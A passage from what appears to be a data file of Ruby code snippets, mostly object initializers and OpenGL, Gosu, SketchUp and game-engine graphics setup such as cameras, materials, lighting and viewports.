loadTexture\n end",
"def myinit\r\n GL.ShadeModel (GL::FLAT);\r\n\r\n base = GL.GenLists(128);\r\n GL.ListBase(base);\r\n GL.NewList(base+'A'[0], GL::COMPILE); drawLetter(Adata); GL.EndList();\r\n GL.NewList(base+'E'[0], GL::COMPILE); drawLetter(Edata); GL.EndList();\r\n GL.NewList(base+'P'[0], GL::COMPILE); drawLetter(Pdata); GL.EndList();\r\n GL.NewList(base+'R'[0], GL::COMPILE); drawLetter(Rdata); GL.EndList();\r\n GL.NewList(base+'S'[0], GL::COMPILE); drawLetter(Sdata); GL.EndList();\r\n GL.NewList(base+' '[0], GL::COMPILE); GL.Translate(8.0, 0.0, 0.0); GL.EndList();\r\nend",
"def initialize(x=0, y=0, z=0)\n set x, y, z\n end",
"def Matrix3dZero\n ret = _invoke(1610743890, [], [])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def InitGL(width, height)\n # Clear the background to black\n glClearColor(0.0, 0.0, 0.0, 0.0)\n\n # Enable clearing of the depth buffer\n glClearDepth(1.0)\n\n # Enable smoothing and color shading\n glShadeModel(GL_SMOOTH)\n\n # Reset the Projection Matrix\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n\n # Calculate the aspect ratio of the window\n gluPerspective(45.0,Float(width)/Float(height),0.1,100.0)\n\n # Reset back to the model Matrix\n glMatrixMode(GL_MODELVIEW)\nend",
"def InitGL(width, height) # We call this right after our OpenGL window \n # is created.\n\n glClearColor(0.0, 0.0, 0.0, 0.0) # This Will Clear The Background \n # Color To Black\n glClearDepth(1.0) # Enables Clearing Of The Depth Buffer\n glDepthFunc(GL_LESS) # The Type Of Depth Test To Do\n glEnable(GL_DEPTH_TEST) # Enables Depth Testing\n glShadeModel(GL_SMOOTH) # Enables Smooth Color Shading\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity() # Reset The Projection Matrix\n gluPerspective(45.0,Float(width)/Float(height),0.1,100.0) # Calculate The Aspect Ratio \n # Of The Window\n glMatrixMode(GL_MODELVIEW)\nend",
"def initialize(options = {})\n # set camera 3D world location\n super(options)\n #---------------------------------------------------------\n # target location in 3D world for the camera to look at.\n @tx = options[:tx] || 0.0\n @ty = options[:ty] || 0.0\n @tz = options[:tz] || 0.0\n #---------------------------------------------------------\n # which way is up?\n @vert_orintation = [1.0, 1.0, 1.0] # [X axis scale, Y axis scale, Z axis scale]\n #---------------------------------------------------------\n # Defualt camera display settings:\n @fov = 45 # How wide can you view?\n @near = 1.0 # How close can you see?\n @far = 1000.0 # How far can you see?\n @speed = 0.1 # Scale Speed to move at.\n @axial = 0.1 # Scale Speed to turn at.\n set_ratio # aspec ratio of view. ' screen size ' uses Gosu::Window object.\n #---------------------------------------------------------\n # https://www.rubydoc.info/github/gosu/gosu/master/Gosu/Font\n @hud_font = Gosu::Font.new(22)\n @string = \"\" # container for HUD information\n #---------------------------------------------------------\n @time_between_debug_prints = 0\n end",
"def initialize(window, x, y, width, height, color=0xffff0000, z_order=0)\n\t\t\t@window = window\n\t\t\t@x = x\n\t\t\t@y = y\n\t\t\t@width = width\n\t\t\t@height = height\n\t\t\t@color = color\n\t\t\t@z_order = z_order\t\n\t\tend",
"def initialize(x, y, z=0)\r\n @x = x\r\n @y = y\r\n @z = z\r\n end",
"def setup(args)\n # Camera\n position = Engine3D::Vector.new 0.0, 0.0, 0.0, 1.0\n direction = Engine3D::Vector.new 0.0, 0.0,-1.0, 1.0\n args.state.camera = Engine3D::Camera.new position, direction\n \n # Renderer :\n args.state.renderer = Engine3D::Render.new 1280, 720, # viewport size \n args.state.camera, # camera\n 1.0, 300.0 # near and far planes\n\n # Scene :\n args.state.scene = Engine3D::Scene.load args,\n 'data/scenes/scene1.rb',\n SPRITE_SCALE\n\n # Miscellenaous :\n args.state.angle = 0.01\n\n\n args.state.setup_done = true\nend",
"def initialize(**args)\n @position = Position.new(args.fetch(:x, 0), args.fetch(:y, 0), args.fetch(:z, 0))\n @velocity = Velocity.new(args.fetch(:vx, 0), args.fetch(:vy, 0), args.fetch(:vz, 0))\n @acceleration = Acceleration.new(args.fetch(:ax, 0), args.fetch(:ay, 0), args.fetch(:az, 0))\n @foresight = args.fetch(:foresight, [1, 0, 0.5, 0.5, 0, 0])\n @color = args[:color]\n @color ||= '#1199bb'\n end",
"def initialize (material,size)\r\n\t\t@material = material\r\n\t\t@size = size\r\n\t\t#se inicializa tanto el material como el size\r\n\tend",
"def initialize(material)\n @material = material\n end",
"def setup(args)\n position = Engine3D::Vector.new 0.0, 0.0, 0.0, 1.0\n direction = Engine3D::Vector.new 0.0, 0.0,-1.0, 1.0\n args.state.camera = Engine3D::Camera.new position, direction\n args.state.renderer = Engine3D::Render.new 1280, 720, args.state.camera, 1.0, 300.0\n\n #args.state.scene = Engine3D::Scene.load 'sprite3dengine/data/scenes/debug.rb'\n #args.state.scene = Engine3D::Scene.load 'sprite3dengine/data/scenes/scene1.rb'\n args.state.scene = Engine3D::Scene.load 'sprite3dengine/data/scenes/demo.rb'\n\n #args.state.angle = 0.01\n #args.state.camera_angle = 0.001\n\n # DEBUG :\n #args.state.frame_counter = 0\n\n args.state.setup_done = true\n\n puts \"setup finished!!!\"\nend",
"def initialize()\n\t\t@gridColorXZ = [1.0, 0.0, 0.0, 0.0] #Red\n\t\t@gridColorXY = [1.0, 1.0, 0.0, 0.0] #Yellow\n\t\t@gridColorYZ = [0.0, 0.0, 1.0, 0.0] #Blue\n\t\t@gridLines = 10 # The number of lines in HALF the grid (just to make counting easier)\n\t\t@gridSpacing = 5.0\n\t\t@gridOn = true\n\tend",
"def initialize(node)\n # ------- fundamental info -------\n @name = node.attributes[\"name\"]\n # ------- load surface -------\n # initialize surface list\n @surflist = Array.new\n # read surface one by one\n node.elements.each(\"surface\") do |s|\n if s.attributes[\"name\"]\n # get surface name\n sname = s.attributes[\"name\"].downcase\n # check existence of attribution \"name\"\n raise ArgumentError, \"surface #{sname} do not found!\" \\\n unless @@surflib[sname]\n # copy surface from surface lib\n @surflist << @@surflib[sname].clone\n else\n # load surface by configuration\n @surflist << SurfConfig.new(s)\n end\n end\n # ------- load camera -------\n @camera = CamConfig.new(node.elements[\"camera\"])\n # ------- show information -------\n puts \"Loaded Model : #{@name}\"\n end",
"def set_material(material)\n GL::Material(GL::FRONT_AND_BACK, GL::AMBIENT, material[AMBIENCE])\n GL::Material(GL::FRONT_AND_BACK, GL::SPECULAR, material[SPECULAR])\n GL::Material(GL::FRONT_AND_BACK, GL::DIFFUSE, material[DIFFUSE])\n GL::Material(GL::FRONT_AND_BACK, GL::SHININESS, material[SHININESS])\n GL::Material(GL::FRONT, GL::EMISSION, [0.3, 0.3, 0.3, 0.7])\n end",
"def update_properties\r\n if @picture.origin == 0\r\n set_origin(0, 0)\r\n else\r\n set_origin(bitmap.width / 2, bitmap.height / 2)\r\n end\r\n set_position(@picture.x, @picture.y)\r\n self.z = @picture.number\r\n self.zoom_x = @picture.zoom_x / 100.0\r\n self.zoom_y = @picture.zoom_y / 100.0\r\n self.opacity = @picture.opacity\r\n shader.blend_type = @picture.blend_type\r\n self.angle = @picture.angle\r\n tone = @picture.tone\r\n unless tone.eql?(@current_tone)\r\n shader.set_float_uniform('tone', tone)\r\n @current_tone = tone.clone\r\n end\r\n end",
"def initialize(window, x, y, radius, flip=false, color=0xffff0000, z_order=0)\n\t\t\t@window = window\n\t\t\t@x = x\n\t\t\t@y = y\n\t\t\t@radius = radius\n\t\t\t@color = color\n\t\t\t@z_order = z_order\n\t\t\t@flip = flip\n\t\t\t@height = Math::sin(60)*@radius\n\t\t\t@length = Math::sin(30)*@radius\t\n\t\t\tconvertVertices\n\t\tend",
"def initialize(x, y=0.0, z=0.0)\n @x = x\n @y = y\n @z = z\n end",
"def initialize settings={:width => 20, :height => 20, :color => [255, 255, 255], :angle => 0, :zoom => 1, :aa => false}\n\t\t\ts = {:width => 20, :height => 20, :color => [255, 255, 255], :angle => 0, :zoom => 1, :aa => false}.merge!(settings)\n\t\t\tsuper s\n\t\t\t@surface = Rubygame::Surface.new [@width, @height]\n\t\t\tUtil.hash_to_var(s, [:color, :zoom, :aa, :angle], self)\n\t\t\t@surface.fill @color\n\t\tend",
"def init_viewport\r\n # Make viewports\r\n @viewport1 = Viewport.new(0, 0, 640, 320)\r\n @viewport2 = Viewport.new(0, 0, 640, 480)\r\n @viewport3 = Viewport.new(0, 0, 640, 480)\r\n @viewport4 = Viewport.new(0, 0, 640, 480)\r\n @viewport2.z = 101\r\n @viewport3.z = 200\r\n @viewport4.z = 5000\r\n end",
"def initialize(modelArg, colorArg)\n @model = modelArg\n @color = colorArg\n #to see the speed I am traveling, so I can properly accelerate or decelerate.\n @speed = 0\n #to keep track of the total distance I have travelled, so I can get paid for mileage.\n @cum_distance = 0.0\n end",
"def initilize land_planes=[] #collection of planes\n\t\t@land_planes = land_planes\n\tend",
"def initialize_buffers\n @eof = false\n @sync = true # FIXME: hax\n @rbuffer = ''.force_encoding(Encoding::ASCII_8BIT)\n @wbuffer = ''.force_encoding(Encoding::ASCII_8BIT)\n end",
"def initialize(x, y, z)\n @x = x\n @y = y\n @z = z\n end",
"def initialize(viewport, picture)\r\n super(viewport)\r\n self.shader = Shader.create(:full_shader)\r\n @picture = picture\r\n @gif_handle = nil\r\n update\r\n end",
"def initialize(model, year, color)\n self.color = color # Call accessor (setter) method.\n @year = year # Only time and way to assign an attr_reader.\n @model = model # Instance variables defined and assigned\n @speed = 0 # here in the initialization method.\n @engine_running = false\n @status = \"Engine switched off and vehicle stationary\"\n end",
"def update!(**args)\n @basemap_z_order = args[:basemap_z_order] if args.key?(:basemap_z_order)\n @vertex_offsets = args[:vertex_offsets] if args.key?(:vertex_offsets)\n @z_order = args[:z_order] if args.key?(:z_order)\n end",
"def get_frustum_material\n materials = Sketchup.active_model.materials\n material = materials[\"Camera_FOV\"]\n if( not material )\n material = materials.add \"Camera_FOV\"\n material.color = [211, 211, 211]\n material.alpha = 0.25\n end\n material\nend",
"def initialize(light)\n @light = light\n end",
"def initialize(light)\n @light = light\n end",
"def initialize(make, model, color)\n @make = make\n @model = model\n @color = color\n end",
"def gl_view\n #---------------------------------------------------------\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/glenable\n glEnable(GL_TEXTURE_2D) # enables two-dimensional texturing to perform\n #---------------------------------------------------------\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/gldepthfunc\n # https://www.youtube.com/watch?v=uJzXDkgm5Fw\n glEnable(GL_DEPTH_TEST)\n # If enabled, do depth comparisons and update the depth buffer.\n #---------------------------------------------------------\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/glmatrixmode\n glMatrixMode(GL_PROJECTION)\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/glloadidentity\n glLoadIdentity # * HAS TOO * be loaded in order after glMatrixMode setting...\n #---------------------------------------------------------\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/gluperspective\n gluPerspective(@fov, @ratio, @near, @far)\n #---------------------------------------------------------\n # Camera placement and viewing arangements:\n # The modelview matrix is where camera object information is stored.\n glMatrixMode(GL_MODELVIEW); glLoadIdentity # same as with before matrix ^\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/glulookat\n gluLookAt(@x,@y,@z, # Camera Location // eye\n @tx,@ty,@tz, # Viewing Target Location // direction\n # Vector Direction of Movement. // up\n @vert_orintation[0], @vert_orintation[1], @vert_orintation[2]\n ) # Defining the Viewing perspective is done in this block.\n #---------------------------------------------------------\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/glrotatef\n # glRotatef(angle, X axis scale, Y axis scale, Z axis scale)\n glRotatef(@angle[0], @vert_orintation[0], @vert_orintation[1], @vert_orintation[2])\n end",
"def initialize(window)\n super(window)\n @width = 1\n @height = 1\n rebuild_vertices\n end",
"def initialize(vehicle, direction)\n super()\n @vehicle = vehicle\n @direction = direction\n # temporary variables to handle rotation\n @incr = Matrix3f.new\n @tempMa = Matrix3f.new\n @tempMb = Matrix3f.new\n\n # we are using +Y as our up\n @up_axis = Vector3f.new 0,1,0\n @modifier = 1\n end",
"def create_geometry(view)\n model = view.model\n camera = view.camera\n \n model.start_operation \"Create Camera\"\n group = model.entities.add_group\n entities = group.entities\n \n # Put the camera on a new layer so that we can turn off the display of all cameras\n # note that the \"add\" method for layers will not add one if there is already\n # one with the given name\n layer = model.layers.add(\"Cameras\")\n group.layer = layer\n \n # Hardcoded parameters for the size of the camera\n w2 = 2 # actually, half the width\n h2 = 6 # half the height\n l = 24 # the length\n r1 = 2\n r2 = 3.5\n \n # Create the body of the camera\n p1 = [-l, -w2, -h2]\n p2 = [-6, -w2, -h2]\n p3 = [-6, w2, -h2]\n p4 = [-l, w2, -h2]\n face = entities.add_face p1, p2, p3, p4\n face.pushpull(2*h2)\n \n # Create the lens\n # REVIEW: I am creating the camera geometry so that the front of the lense is\n # at the eye position. This is probably not really correct. I should probably\n # have the film plane at the eye position. I am doing it this way for now so\n # that the camera geometry will never be visible. I could control this using\n # the near clipping plane, but we don't currently have any way to set that.\n numpts = 8\n angle = Math::PI*2.0/numpts\n pts1 = (0..8).collect {|i|\n a=i*angle; Geom::Point3d.new(-6, r1*Math.sin(a), r1*Math.cos(a))\n }\n pts2 = (0..8).collect {|i|\n a=i*angle; Geom::Point3d.new(0, r2*Math.sin(a), r2*Math.cos(a))\n }\n (1..8).each {|i|\n im1 = i-1\n entities.add_face(pts1[i], pts1[im1], pts2[im1], pts2[i])\n }\n\n # Create some transparent faces that show the viewing area\n if( camera.perspective? )\n layer = model.layers[\"Camera_FOV\"]\n if( not layer )\n layer = model.layers.add(\"Camera_FOV\")\n layer.visible = false\n end\n oldlayer = model.active_layer\n model.active_layer = layer\n \n #self.show_volume_faces(view, entities)\n self.show_volume_lines(view, entities)\n \n model.active_layer = oldlayer\n end\n \n # Now transform it to where the camera is\n transform = CameraRep.get_transform_from_view(view)\n group.move!(transform)\n \n # Save the camera parameters (other than orientation) as attributes\n @rep = group\n self.set_attributes(camera)\n \n model.commit_operation\n @rep\nend",
"def setup\n blank_metro = ''\n @vertex = Vertex.new(blank_metro)\n end",
"def initialize(window)\n @terrain = Gosu::Image::load_tiles(window, \"media/Terrain.png\", TILE_WIDTH, TILE_HEIGHT * 2, true)\n @window = window\n\n @level = 0\n\n @start_x = 0\n @start_y = 0\n\n load_level(\"levels/level0.lvl\")\n end",
"def render_water\n GL::PushMatrix()\n GL::Scale(4.0,2.0,2.0)\n GL::Material(GL::FRONT, GL::EMISSION, [ 0.1, 0.3, 0.3, 0.5 ])\n GL::Material(GL::FRONT, GL::DIFFUSE, [ 0.1, 0.8, 0.8, 0.5 ])\n GL::Enable(GL::BLEND)\n GL::DepthMask(GL::FALSE)\n GL::BlendFunc(GL::SRC_ALPHA, GL::ONE)\n GLUT::SolidCube(1.0)\n GL::DepthMask(GL::TRUE)\n GL::Disable(GL::BLEND)\n GL.PopMatrix\n end",
"def initialize(model, make, colour)\r\n @model = model\r\n @make = make\r\n @colour = colour\r\n end",
"def initialize x, y, z \n @x = x\n @y = y\n @z = z\n end",
"def initialize\n @commandList = Array.new()\n @db = Sequel.sqlite\n @db.create_table :materials do # Create a new table\n primary_key :id, :integer, :auto_increment => true\n column :command_name, :text\n column :name, :text\n column :type, :text\n column :thickness, :float\n column :conductivity, :float\n column :resistance, :float\n column :density, :float\n column :spec_heat, :float\n end\n @materials = @db[:materials] # Create a dataset\n\n @db.create_table :layers do # Create a new table\n primary_key :id, :integer, :auto_increment => true\n column :command_name, :text\n column :name, :text\n column :material, :text\n column :inside_film_res, :float\n end\n @layers = @db[:layers] # Create a dataset\n\n\n store_material()\n end",
"def init_shadow\r\n @shadow = Sprite.new(viewport)\r\n @shadow.bitmap = bmp = RPG::Cache.character(Shadow_File)\r\n @shadow.src_rect.set(0, 0, bmp.width / 4, bmp.height / 4)\r\n @shadow.ox = bmp.width / 8\r\n @shadow.oy = bmp.height / 4\r\n end",
"def initialize(x = 0, y = 0, z = 0, yaw = 0, pitch = 0, roll = 0)\n super(x, y, z)\n @yaw, @pitch, @roll = yaw, pitch, roll\n end",
"def initialize(x, y)\n super(x, y)\n @img_path = 't603'\n @acceleration = 0.1\n @speed_max = 4\n @slowing_coefficient = 0.3 * @acceleration\n @speed_reverse_min = -2\n initialize_lights\n end",
"def initialize(vk, viewport: { }, scissor: { })\n @vk = vk\n @shader_stages = []\n @layouts = []\n @constant_ranges = []\n @descriptors = []\n @input = {\n topology: :triangles,\n primitive_restart: false\n }\n @viewport = {\n left: 0,\n top: 0,\n width: 640,\n height: 480,\n min_depth: 0,\n max_depth: 1\n }.merge(viewport)\n @scissor = {\n left: 0,\n top: 0,\n width: 0xffffffff,\n height: 0xffffffff\n }.merge(scissor)\n @rasterizer = {\n depth_clamp: false,\n discard_all: false,\n polygon_mode: :fill,\n line_width: 1.0,\n cull_mode: :back,\n front_face: :counter_clockwise,\n depth_bias: false,\n depth_bias_clamp: 0,\n depth_bias_constant: 0,\n depth_bias_slope: 0\n }\n @multisampling = {\n sample_shading: false,\n samples: 1,\n min_sample_shading: 0.2,\n sample_mask: nil,\n alpha_to_coverage: false,\n alpha_to_one: false\n }\n @blending = {\n enabled: true,\n color_writes: [ :red, :green, :blue, :alpha ],\n src_color: :src_alpha,\n dst_color: :one_minus_src_alpha,\n src_alpha: :one,\n dst_alpha: :zero,\n color_op: :add,\n alpha_op: :add\n }\n @binding_descriptions = []\n @attribute_descriptions = []\n @dynamic_states = []\n @specialization_constants = {}\n end",
"def setup\n self.parse() # load file\n puts(\"+Constructing a total of (#{@groups.keys.size}) Groups:\") if @verbose\n @groups.each_value do |grp|\n grp.displaylist = glGenLists( 1 )\n glNewList(grp.displaylist, GL_COMPILE )\n puts(\" * \\\"#{grp.name}\\\" : Faces(#{grp.faces.size}) openGL draw list cached.\") if @verbose\n grp.gl_draw_list(self) # create precahced draw operation\n glEndList()\n end\n puts(\"+Total Count of Faces: [ #{self.get_face_count} ]\") if @verbose\n # display materials information\n puts(\"+Material Lib: \\\"#{material_lib}\\\" with (#{@current_materials.size}) Name Refrences.\") if @verbose\n end",
"def initialize(y, c, m)\n @year = y\n @color = c\n @model = m\n @speed = 0\n # puts \"this instance has been initialized\"\n end",
"def initialize(y, c, m)\n @year = y\n @color = c\n @model = m\n @speed = 0\n @engine_on = false\n end",
"def initialize\n\n $scene = self\n\n # Prep model\n @map = Game_Map.new\n @player = Game_Player.new\n\n # Make viewports - Also in the scene\n @vp_under = Viewport.new(0,0,$game.width,$game.height)\n @vp_under.z = 0\n @vp_main = Viewport.new(0,0,$game.width,$game.height) \n @vp_main.z = 1000\n @vp_weather = Viewport.new(0,0,$game.width,$game.height)\n @vp_weather.z = 1999\n @vp_over = Viewport.new(0,0,$game.width,$game.height)\n @vp_over.z = 2000\n @vp_ui = Viewport.new(0,0,$game.width,$game.height)\n @vp_ui.z = 3000\n \n # Make tilemap\n @panoramas = []\n @tilemap = MapWrap.new(@vp_main)\n \n @characters = [] \n @sparks = []\n @pops = []\n\n # weather in map data\n @weather = nil#Weather.new(@vp_over)\n @fogs = []\n\n # Misc Overlay\n @overlay = Sprite.new(@vp_over)\n @overlay.bitmap = Bitmap.new($game.width,$game.height)\n @overlay.bitmap.fill(Color.new(0,0,0))\n @overlay.opacity = 0\n @overlay.z = 999\n\n # Fadeout\n @black = Sprite.new(@vp_over)\n @black.bitmap = Bitmap.new($game.width,$game.height)\n @black.bitmap.fill(Color.new(0,0,0))\n @black.opacity = 0\n @black.z = 1000\n \n # UI\n @hud = nil # Define in sub\n \n end",
"def InitGL(width, height)\n # Load the textures\n LoadGLTextures()\n\n # Enable Texture mapping\n glEnable(GL_TEXTURE_2D)\n\n # Clear the background to black\n glClearColor(0.0, 0.0, 0.0, 0.0)\n\n # Enable clearing of the depth buffer\n glClearDepth(1.0)\n\n # Enable smoothing and color shading\n glShadeModel(GL_SMOOTH)\n\n # Reset the Projection Matrix\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n\n # Calculate the aspect ratio of the window\n gluPerspective(45.0,Float(width)/Float(height),0.1,100.0)\n\n # Reset back to the model Matrix\n glMatrixMode(GL_MODELVIEW)\n\t \n if HEXAGON_TILE\n\tPregenerate_Hexagon() \n end\nend",
"def initialize(color, brand) # .new -> .intialize\n # instance variable -> stores info inside instance\n @color = color\n @brand = brand\n @engine_started = false\n end",
"def initialize\n @screen = Game_Screen.new\n @interpreter = Game_Interpreter.new(0, true)\n @map_id = 0\n @display_x = 0\n @display_y = 0\n create_vehicles\n end",
"def initialize(model, color, year, origin)\n @model = model\n @color = color\n @year = year\n @origin = origin\n\n @engine_started = false\n @wheels = 4\n end",
"def initialize(viewport, character = nil)\r\n super(viewport)\r\n @bush_depth_sprite = Sprite.new(viewport)\r\n @bush_depth_sprite.opacity = 128\r\n @height = 0\r\n init(character)\r\n end",
"def initialize(mX, mY, mT, mW)\n @MapX = mX\n @MapY = mY\n @MapTerrain = mT\n @MapWeather = mW\n \n rt = Random.new()\n @@mapContent = Array.new(2) {Array.new(3) {|index| index = rt.rand(4)}}\n #(0..5).each {|x| @@mapContent[x] = (0..5).each {|y| @@mapContent[x][y] = rt.rand(4)}}\n end",
"def initialize(light)\n @light = light\n @last_level = light.level\n end",
"def initialize(light)\n @light = light\n @last_level = light.level\n end",
"def update!(**args)\n @vertex_offsets = args[:vertex_offsets] if args.key?(:vertex_offsets)\n @z_order = args[:z_order] if args.key?(:z_order)\n end",
"def Range3dInit\n ret = _invoke(1610744077, [], [])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def initialize(params = {})\n params = Geos::Constants::BUFFER_PARAM_DEFAULTS.merge(params)\n\n ptr = FFIGeos.GEOSBufferParams_create_r(Geos.current_handle_pointer)\n @ptr = FFI::AutoPointer.new(\n ptr,\n self.class.method(:release)\n )\n\n @params = {}\n VALID_PARAMETERS.each do |param|\n send(\"#{param}=\", params[param])\n end\n end",
"def initialize(opts_={})\n @geo_factory = opts_[:geo_factory] || ::RGeo::Cartesian.preferred_factory\n @entity_factory = opts_[:entity_factory] || EntityFactory.instance\n @buffer = ''\n \n @num_coordinates = 2\n @num_coordinates += 1 if @geo_factory.property(:has_z_coordinate)\n @num_coordinates += 1 if @geo_factory.property(:has_m_coordinate)\n end",
"def init\n # BME280 register setting\n set_register\n\n # read trimming parameter \n read_trim_params\n self\n end",
"def initialize(local, global, env)\n @local, @global, @env = local, global, env\n end",
"def initialize\n\t\t@t = 0.0\n\n\t\t# bind callback to OSX Trackpad multitouch events\n\t\tTrackpad.clear()\n\t\tTrackpad.connect()\n\t\tTrackpad.bind( lambda{ |i,f| \n\t\t\tif i == 1\n\t\t\telsif i == 2\n\t\t\tend\n\t\t})\n\n\t\tMouse.clear()\n\t\tMouse.use()\n\n\t\tparser = EisenScriptParser.apply(tree())\n\t\t@model = Model.new()\n\t\t@model.material(BasicMaterial.new())\n\t\t@model.material.color.set(0,1,0,1)\n\t\tparser.buildModel(@model)\n\n\t\tMain.setModel(@model)\n\t\t# Main.model.pose.pos.set(-50,0,0)\n\n\tend",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # assign the user inputs to variables\n args = OsLib_HelperMethods.createRunVariables(runner, model, user_arguments, arguments(model))\n if !args then return false end\n\n # report initial condition of model\n runner.registerInitialCondition(\"The building started with #{model.getShadingSurfaces.size} shading surfaces.\")\n\n # find thermal zones with multiplier greater than 1\n zones_to_alter = {}\n model.getThermalZones.each do |zone|\n if zone.multiplier > 1\n puts \"#{zone.name} has a multiplier of #{zone.multiplier}\"\n zones_to_alter[zone.spaces] = zone.multiplier\n end\n end\n\n # gather inputs\n z_offset_si = OpenStudio.convert(args['z_offset_dist'], 'ft', 'm').get\n\n # gather surfaces to copy\n surfaces_to_copy = {}\n zones_to_alter.each do |spaces, multiplier|\n spaces.each do |space|\n # space_origin\n origin = [space.xOrigin, space.yOrigin, space.zOrigin]\n\n origin_pos_z = space.zOrigin\n args['z_num_pos'].times do\n origin_pos_z += z_offset_si\n\n # make shading surface group and set origin\n shading_surface_group = OpenStudio::Model::ShadingSurfaceGroup.new(model)\n shading_surface_group.setXOrigin(origin[0])\n shading_surface_group.setYOrigin(origin[1])\n shading_surface_group.setZOrigin(origin_pos_z)\n\n space.surfaces.each do |surface|\n next if surface.outsideBoundaryCondition != 'Outdoors'\n\n surfaces_to_copy[surface] = multiplier\n\n # store vertices\n vertices = surface.vertices\n\n # make shading surface for new group\n shading_surface = OpenStudio::Model::ShadingSurface.new(vertices, model)\n shading_surface.setShadingSurfaceGroup(shading_surface_group)\n shading_surface.setName(\"mult - #{surface.name}\")\n end\n end\n\n origin_neg_z = space.zOrigin\n num_nug = (multiplier - args['z_num_pos']) - 1 # one copy already exist, so only need multiplier - 1\n num_nug.times do\n origin_neg_z -= z_offset_si\n\n # make shading surface group and set origin\n shading_surface_group = OpenStudio::Model::ShadingSurfaceGroup.new(model)\n shading_surface_group.setXOrigin(origin[0])\n shading_surface_group.setYOrigin(origin[1])\n shading_surface_group.setZOrigin(origin_neg_z)\n\n space.surfaces.each do |surface|\n next if surface.outsideBoundaryCondition != 'Outdoors'\n\n surfaces_to_copy[surface] = multiplier\n\n # store vertices\n vertices = surface.vertices\n\n # make shading surface for new group\n shading_surface = OpenStudio::Model::ShadingSurface.new(vertices, model)\n shading_surface.setShadingSurfaceGroup(shading_surface_group)\n shading_surface.setName(\"mult - #{surface.name}\")\n end\n end\n end\n end\n\n # TODO: - stretching on non orthogonal won't work, take different approach in those cases.\n\n # report final condition of model\n runner.registerFinalCondition(\"The building finished with #{model.getShadingSurfaces.size} surfaces.\")\n\n return true\n end",
"def initialize(params:, robot:, surface:)\n self.params = Hash[*[self.class::PARAMS_CONFIG, params].transpose.flatten(1)]\n self.robot = robot\n self.surface = surface\n end",
"def initialize(game, x, y)\n super(game, x, y)\n @vy = 0\n @vertices = []\n end",
"def drawScene\n\t# clear information from last draw\n\tglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n\t\n\tglMatrixMode(GL_MODELVIEW)\n\tglLoadIdentity()\n\t\n\tglTranslatef(0.0, 0.0, -8.0)\n\t\n\t# Add ambient light\n\tambientColor = [0.2, 0.2, 0.2, 1.0] #Color (0.2, 0.2, 0.2)\n\tglLightModelfv(GL_LIGHT_MODEL_AMBIENT, ambientColor)\n\t\n\t# Add positioned light\n\tlightColor0 = [0.5, 0.5, 0.5, 1.0] #Color (0.5, 0.5, 0.5)\n\tlightPos0 = [4.0, 0.0, 8.0, 1.0] # positioned at (4, 0, 8)\n\tglLightfv(GL_LIGHT0, GL_DIFFUSE, lightColor0)\n\tglLightfv(GL_LIGHT0, GL_POSITION, lightPos0)\n\t\n\t# Add directed light\n\tlightColor1 = [0.5, 0.2, 0.2, 1.0] # Color (0.5, 0.2, 0.2)\n\t# Coming from the direction (-1, 0.5, 0.5)\n\tlightPos1 = [-1.0, 0.5, 0.5, 0.0]\n\tglLightfv(GL_LIGHT1, GL_DIFFUSE, lightColor1)\n\tglLightfv(GL_LIGHT1, GL_POSITION, lightPos1)\n\t\n\tglRotatef(@angle, 0.0, 1.0, 0.0)\n\tglColor3f(1.0, 1.0, 0.0)\n\tglBegin(GL_QUADS)\n\t\n\t#Front\n\t#glNormal3f(0.0, 0.0, 1.0)\n\tglNormal3f(-1.0, 0.0, 1.0)\n\tglVertex3f(-1.5, -1.0, 1.5)\n\tglNormal3f(1.0, 0.0, 1.0)\n\tglVertex3f(1.5, -1.0, 1.5)\n\tglNormal3f(1.0, 0.0, 1.0)\n\tglVertex3f(1.5, 1.0, 1.5)\n\tglNormal3f(-1.0, 0.0, 1.0)\n\tglVertex3f(-1.5, 1.0, 1.5)\n\t\n\t#Right\n\t#glNormal3f(1.0, 0.0, 0.0)\n\tglNormal3f(1.0, 0.0, -1.0)\n\tglVertex3f(1.5, -1.0, -1.5)\n\tglNormal3f(1.0, 0.0, -1.0)\n\tglVertex3f(1.5, 1.0, -1.5)\n\tglNormal3f(1.0, 0.0, 1.0)\n\tglVertex3f(1.5, 1.0, 1.5)\n\tglNormal3f(1.0, 0.0, 1.0)\n\tglVertex3f(1.5, -1.0, 1.5)\n\t\n\t#Back\n\t#glNormal3f(0.0, 0.0, -1.0)\n\tglNormal3f(-1.0, 0.0, -1.0)\n\tglVertex3f(-1.5, -1.0, -1.5)\n\tglNormal3f(-1.0, 0.0, -1.0)\n\tglVertex3f(-1.5, 1.0, -1.5)\n\tglNormal3f(1.0, 0.0, -1.0)\n\tglVertex3f(1.5, 1.0, -1.5)\n\tglNormal3f(1.0, 0.0, -1.0)\n\tglVertex3f(1.5, -1.0, -1.5)\n\t\n\t#Left\n\t#glNormal3f(-1.0, 0.0, 0.0)\n\tglNormal3f(-1.0, 0.0, -1.0)\n\tglVertex3f(-1.5, -1.0, -1.5)\n\tglNormal3f(-1.0, 0.0, 1.0)\n\tglVertex3f(-1.5, -1.0, 1.5)\n\tglNormal3f(-1.0, 0.0, 1.0)\n\tglVertex3f(-1.5, 1.0, 1.5)\n\tglNormal3f(-1.0, 0.0, -1.0)\n\tglVertex3f(-1.5, 1.0, -1.5)\n\t\n\tglEnd()\n\t\n\tglutSwapBuffers() # Send the 3D scene to the screen\nend",
"def initialize(year, model, color)\n @year = year\n @model = model\n @color = color\n @current_speed = 0\n end",
"def initialize(year, model, color)\n @year = year\n @model = model\n @color = color\n @current_speed = 0\n end",
"def material; end",
"def material; end",
